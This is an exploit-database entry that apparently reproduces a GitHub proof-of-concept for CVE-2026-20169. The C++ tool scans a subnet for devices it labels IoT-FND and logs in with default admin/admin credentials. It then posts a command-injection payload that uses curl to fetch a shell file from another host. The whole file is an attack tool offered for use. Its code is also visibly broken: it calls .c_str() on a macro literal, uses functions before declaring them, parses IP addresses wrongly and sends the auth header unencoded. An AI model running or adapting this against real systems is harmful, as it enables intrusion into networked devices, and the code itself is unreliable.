Exploit database

GH-b3a9ee271a5d7ebc7d84efb190d7a3f9

gigachadusers/cve-2026-20169

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-20169

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
gigachadusers/cve-2026-20169Revision efe95e69f93a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

MAIN.CPP

C++ · 6,267 bytes
#include <windows.h>
#include <wininet.h>
#include <winhttp.h>
#include <string>
#include <iostream>
#include <vector>
#include <sstream>
#include <thread>
#include <mutex>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "winhttp.lib")

#define MANAGE_PORT 8080
#define HTTP_PORT 80
#define EXPLOIT_URL_BASE "http://"
#define EXPLOIT_PAYLOAD "id=;curl http://192.168.1.100:8080/shell.php"
#define DEBUG_LOGGING true

std::mutex logMutex;

void PrintLog(const std::string& message) {
    if (DEBUG_LOGGING) {
        std::lock_guard<std::mutex> lock(logMutex);
        std::cout << "[LOG] " << message << std::endl;
    }
}

bool IsPortOpen(std::string ip, int port) {
    SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == INVALID_SOCKET) {
        PrintLog("Socket creation failed for " + ip);
        return false;
    }

    sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(port);
    serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());

    DWORD timeout = 500;
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
    setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (const char*)&timeout, sizeof(timeout));

    int result = connect(sock, (sockaddr*)&serverAddr, sizeof(serverAddr));
    closesocket(sock);

    return (result == 0);
}

bool ScanNetworkWithWinINet(const std::string& startIP, const std::string& endIP, const std::string& username, const std::string& password) {
    std::string currentIP = startIP;
    std::string current = startIP;


    int a = (currentIP[0] - '0') * 100 + (currentIP[1] - '0') * 10 + (currentIP[2] - '0');
    int b = (currentIP[4] - '0') * 10 + (currentIP[5] - '0');
    int c = (currentIP[6] - '0') * 10 + (currentIP[7] - '0');

    while (true) {
        char ipStr[16];
        sprintf_s(ipStr, 16, "%d.%d.%d.%d", a, b, c, 0);

        if (ipStr == current) {
            c++;
        }
        else {
            current = ipStr;
        }

        if (c > 255) {
            c = 0;
            b++;
            if (b > 255) {
                b = 0;
                a++;
                if (a > 255) break;
            }
        }

        std::string ip = current;

        PrintLog("Scanning: " + ip);

        if (IsPortOpen(ip, MANAGE_PORT)) {
            PrintLog(">> Found IoT-FND at " + ip + ":" + std::to_string(MANAGE_PORT));

            if (TryLogin(ip, username, password)) {
                PrintLog(">> SUCCESS: Authenticated with " + username);

                bool exploitSuccess = RunExploit(ip, username, password);
                if (exploitSuccess) {
                    PrintLog(">> EXPLOIT SUCCESSFUL: Command sent to " + ip);
                }
                else {
                    PrintLog(">> EXPLOIT FAILED: Could not send command");
                }
            }
            else {
                PrintLog(">> Found IoT-FND but login failed");
            }
        }
    }
    return true;
}

bool TryLogin(std::string ip, std::string user, std::string pass) {
    HINTERNET hSession = InternetOpenA("IoTScanner/1.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hSession) return false;

    HINTERNET hConnect = InternetConnectA(hSession, ip.c_str(), HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hConnect) {
        InternetCloseHandle(hSession);
        return false;
    }

    HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", "/login.jsp", NULL, NULL, NULL, 0, 0);
    if (!hRequest) {
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hSession);
        return false;
    }

    std::string auth = user + ":" + pass;
    DWORD authLen = auth.length();
    char* authBuff = new char[authLen + 1];
    strcpy_s(authBuff, authLen + 1, auth.c_str());
    DWORD authBuffLen = authLen;
    InternetSetOptionA(hRequest, INTERNET_OPTION_USERNAME, authBuff, authLen);
    InternetSetOptionA(hRequest, INTERNET_OPTION_PASSWORD, authBuff, authLen);

    BOOL sent = HttpSendRequestA(hRequest, NULL, 0, NULL, 0);
    delete[] authBuff;

    if (sent) {
        DWORD statusCode = 0;
        DWORD size = sizeof(statusCode);
        HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &size, NULL);

        if (statusCode == 200 || statusCode == 302) {
            InternetCloseHandle(hRequest);
            InternetCloseHandle(hConnect);
            InternetCloseHandle(hSession);
            return true;
        }
    }

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
    return false;
}

bool RunExploit(std::string ip, std::string user, std::string pass) {
    HINTERNET hSession = InternetOpenA("IoTExploiter/1.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hSession) return false;

    HINTERNET hConnect = InternetConnectA(hSession, ip.c_str(), MANAGE_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hConnect) {
        InternetCloseHandle(hSession);
        return false;
    }

    HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", "/api/v1/properties", NULL, NULL, NULL, 0, 0);
    if (!hRequest) {
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hSession);
        return false;
    }

    std::string headers = "Content-Type: application/json\r\nAuthorization: Basic ";
    std::string auth = user + ":" + pass;
    std::string fullHeaders = headers + auth;

    BOOL sent = HttpSendRequestA(hRequest, fullHeaders.c_str(), fullHeaders.length(), (LPVOID)EXPLOIT_PAYLOAD.c_str(), EXPLOIT_PAYLOAD.length());

    if (sent) {
        PrintLog(">> Sent payload: " + EXPLOIT_PAYLOAD);
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hSession);
        return true;
    }

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);
    return false;
}

int main() {
    std::string startIP = "192.168.1.1";
    std::string endIP = "192.168.1.254";
    std::string username = "admin";
    std::string password = "admin";

    PrintLog("Starting scan for IoT-FND...");
    ScanNetworkWithWinINet(startIP, endIP, username, password);

    PrintLog("Scan complete.");
    system("pause");
    return 0;
}